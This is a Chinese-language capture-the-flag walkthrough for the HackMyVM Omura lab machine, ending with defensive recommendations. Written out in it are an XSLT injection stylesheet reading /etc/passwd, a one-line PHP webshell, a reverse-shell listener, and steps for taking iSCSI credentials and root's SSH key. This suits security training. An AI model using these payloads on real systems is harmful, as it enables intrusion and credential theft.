1. 项目概述
这次渗透测试的目标是HackMyVM平台上的Omura靶机。作为一款专注于网络安全训练的虚拟机,Omura模拟了真实环境中常见的漏洞组合。整个测试过程从基础信息收集开始,逐步深入,最终通过iSCSI服务配置不当获取root权限。本文将详细记录每个环节的技术细节和思考过程。
2. 信息收集与初步扫描
2.1 网络发现
首先使用arp-scan定位目标IP。这个工具通过发送ARP请求来发现本地网络中的活动主机,比常规ping扫描更可靠,因为它能绕过某些防火墙配置。
arp-scan -I eth0 -l输出显示目标IP为192.168.50.195,MAC地址08:00:27:C4:26:AA对应Oracle VirtualBox虚拟网卡,这提示我们目标可能运行在VirtualBox环境中。
2.2 端口扫描
使用Nmap进行全面扫描,参数说明:
-sC:使用默认脚本扫描-sV:服务版本检测-n:禁止DNS解析-vv:详细输出-min-rate=2000:加快扫描速度-p-:扫描所有端口
nmap -sC -sV 192.168.50.195 -n -vv -min-rate=2000 -p-扫描结果发现三个开放端口:
- 22/tcp:OpenSSH 8.4p1
- 80/tcp:Apache httpd 2.4.54
- 3260/tcp:iSCSI服务(Synology DSM)
特别值得注意的是3260端口的iSCSI服务暴露了域名信息:iqn.2023-02.omura.hmv:target01。这个发现为后续的子域名爆破提供了关键线索。
3. Web应用渗透
3.1 初始访问
访问80端口发现一个XSLT转换页面。XSLT(可扩展样式表语言转换)用于将XML文档转换为其他格式,但配置不当可能导致安全风险。
使用Gobuster进行目录扫描:
gobuster dir -u http://192.168.50.195/ -w /opt/zd/wfuzz.txt -x php,txt发现两个关键文件:
- /index.php
- /process.php
3.2 XSLT注入漏洞利用
XSLT处理外部实体时存在注入风险。我们创建两个文件:
aa.xml:
<?xml version="1.0" encoding="UTF-8"?> <catalog> <cd> <title>CD Title</title> <artist>The artist</artist> <company>Da Company</company> <price>10000</price> <year>1760</year> </cd> </catalog>as.xsl:
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0"> <xsl:template match="/"> <xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')"/> </xsl:template> </xsl:stylesheet>通过上传这两个文件,成功读取到系统文件,确认存在XSLT注入漏洞。从/etc/passwd中发现用户ford,但SSH爆破未果。
3.3 子域名发现
利用之前获得的域名omura.hmv,使用wfuzz进行子域名爆破:
wfuzz -u http://192.168.50.195/ -w /opt/zd/wfuzz.txt -H 'Host: FUZZ.omura.hmv' --hh 795,301发现子域名wordpress.omura.hmv,对应一个WordPress站点。
4. WordPress渗透
4.1 目录扫描
使用dirsearch扫描WordPress站点:
dirsearch dir -u http://wordpress.omura.hmv/发现标准WordPress目录结构,包括:
- /wp-admin
- /wp-content
- /wp-includes
4.2 配置文件泄露
利用LFI漏洞尝试访问wp-config.php文件。经过测试,发现路径为/var/www/wordpress/wp-config.php,成功获取数据库凭据:
define( 'DB_NAME', 'wordpressdb' ); define( 'DB_USER', 'admin' ); define( 'DB_PASSWORD', 'dw42k25MiXT' );4.3 后台入侵
使用获得的admin/dw42k25MiXT登录WordPress后台,通过插件上传功能获取webshell。创建一个包含以下内容的PHP文件:
<?php system($_GET['cmd']); ?>通过访问该文件执行系统命令,成功获得www-data权限的反向shell:
nc -lvnp 90015. 权限提升
5.1 初始枚举
获取shell后首先进行基本枚举:
id sudo -l ss -lupta发现无法直接sudo,需要寻找其他提权途径。
5.2 iSCSI服务利用
检查之前发现的3260端口iSCSI服务,查找其配置文件:
cat /etc/rtslib-fb-target/saveconfig.json配置文件中发现CHAP认证凭据:
- 用户名:root
- 密码:gTQynqDRAyqvny7AbpeZ1Vi6e
- 目标名称:iqn.2023-02.omura.hmv:target01
5.3 本地iSCSI连接
在攻击机上配置iSCSI连接:
- 编辑/etc/iscsi/iscsid.conf启用CHAP认证
- 添加CHAP用户名和密码
- 发现目标:
iscsiadm -m discovery -t st -p omura.hmv- 登录目标:
iscsiadm -m node --targetname="iqn.2023-02.omura.hmv:target01" -p omura.hmv --login- 挂载发现的磁盘:
lsblk # 确认新磁盘(如sdb) mkdir /mnt/iscsi mount /dev/sdb /mnt/iscsi在挂载的磁盘中发现root用户的SSH私钥。
5.4 获取root权限
使用获得的私钥直接SSH登录root账户:
chmod 600 id_rsa ssh -i id_rsa root@192.168.50.195成功获取root权限,可以读取系统上的所有文件,包括flag。
6. 经验总结与防御建议
6.1 攻击路径回顾
本次渗透测试的关键路径:
- XSLT注入→读取系统文件
- 子域名爆破→发现WordPress
- 配置文件泄露→获取数据库凭据
- 后台插件上传→获取webshell
- iSCSI配置不当→获取root私钥
6.2 防御措施
针对每个攻击面建议的防御措施:
XSLT处理:
- 禁用危险函数:php.ini中设置
xsl.security_prefs为适当值 - 输入验证:严格校验上传的XML/XSL文件内容
- 使用白名单:限制允许的XSLT操作
- 禁用危险函数:php.ini中设置
WordPress安全:
- 限制配置文件访问:设置正确的文件权限
- 强化后台安全:启用双因素认证
- 插件管理:禁用不必要的上传功能
iSCSI服务:
- 网络隔离:iSCSI服务不应暴露在外部网络
- 认证强化:使用强密码并定期更换
- 日志监控:记录所有iSCSI连接尝试
系统层面:
- 私钥保护:SSH私钥应加密存储
- 最小权限原则:服务账户使用最低必要权限
- 定期审计:检查系统配置和敏感文件权限
6.3 渗透测试技巧
- 信息收集要彻底:不要忽视任何服务横幅信息,如iSCSI服务暴露的域名
- 思维要发散:当常规路径受阻时(如无法SSH爆破),考虑间接路径(如通过iSCSI获取凭证)
- 自动化工具配合手动验证:工具扫描结果需要人工验证,避免误报漏报
- 权限维持:获取root后应检查其他持久化方法,如cron job、SSH authorized_keys等
这次Omura靶机的渗透过程展示了真实环境中可能遇到的多种漏洞组合,强调了纵深防御的重要性。每个服务都可能成为攻击入口,安全防护需要全面覆盖所有暴露面。